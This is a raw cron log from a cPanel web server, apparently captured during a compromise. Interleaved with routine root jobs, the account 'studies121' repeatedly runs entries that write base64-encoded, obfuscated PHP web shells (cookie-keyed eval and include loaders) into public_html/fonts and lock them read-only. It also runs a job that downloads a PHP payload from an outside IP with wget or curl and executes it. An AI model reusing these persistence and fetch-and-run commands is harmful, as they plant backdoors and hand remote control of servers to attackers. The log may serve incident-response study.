Sep 10 13:13:01 ip-184-168-122-23 CROND[13389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:14:01 ip-184-168-122-23 CROND[13472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:14:01 ip-184-168-122-23 CROND[13473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:14:01 ip-184-168-122-23 CROND[13475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:14:01 ip-184-168-122-23 CROND[13477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:14:01 ip-184-168-122-23 CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:15:01 ip-184-168-122-23 CROND[13579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:15:01 ip-184-168-122-23 CROND[13580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:15:01 ip-184-168-122-23 CROND[13582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:15:01 ip-184-168-122-23 CROND[13585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:15:01 ip-184-168-122-23 CROND[13587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:15:01 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:16:01 ip-184-168-122-23 CROND[13778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:16:01 ip-184-168-122-23 CROND[13779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:16:01 ip-184-168-122-23 CROND[13780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:16:01 ip-184-168-122-23 CROND[13781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:16:01 ip-184-168-122-23 CROND[13782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:16:01 ip-184-168-122-23 CROND[13788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 13:17:01 ip-184-168-122-23 CROND[13881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:17:01 ip-184-168-122-23 CROND[13880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:17:01 ip-184-168-122-23 CROND[13882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:17:01 ip-184-168-122-23 CROND[13884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:18:01 ip-184-168-122-23 CROND[13986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:18:01 ip-184-168-122-23 CROND[13987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:18:01 ip-184-168-122-23 CROND[13988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:18:01 ip-184-168-122-23 CROND[13989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:18:01 ip-184-168-122-23 CROND[13992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:19:01 ip-184-168-122-23 CROND[14101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:19:01 ip-184-168-122-23 CROND[14102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:19:01 ip-184-168-122-23 CROND[14104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:19:01 ip-184-168-122-23 CROND[14103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:20:02 ip-184-168-122-23 CROND[14238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:20:02 ip-184-168-122-23 CROND[14237]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:20:02 ip-184-168-122-23 CROND[14239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:21:01 ip-184-168-122-23 CROND[14433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:21:01 ip-184-168-122-23 CROND[14435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:21:01 ip-184-168-122-23 CROND[14436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:21:01 ip-184-168-122-23 CROND[14437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:22:01 ip-184-168-122-23 CROND[14528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:22:01 ip-184-168-122-23 CROND[14531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:22:01 ip-184-168-122-23 CROND[14532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:22:01 ip-184-168-122-23 CROND[14533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:22:01 ip-184-168-122-23 CROND[14530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:23:01 ip-184-168-122-23 CROND[14632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:23:01 ip-184-168-122-23 CROND[14634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:23:01 ip-184-168-122-23 CROND[14635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:23:01 ip-184-168-122-23 CROND[14636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:24:02 ip-184-168-122-23 CROND[14744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:24:02 ip-184-168-122-23 CROND[14746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:24:02 ip-184-168-122-23 CROND[14748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:24:02 ip-184-168-122-23 CROND[14747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 13:24:02 ip-184-168-122-23 CROND[14749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:25:01 ip-184-168-122-23 CROND[14850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 13:25:01 ip-184-168-122-23 CROND[14853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 13:25:01 ip-184-168-122-23 CROND[14854]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:25:01 ip-184-168-122-23 CROND[14852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:25:01 ip-184-168-122-23 CROND[14855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
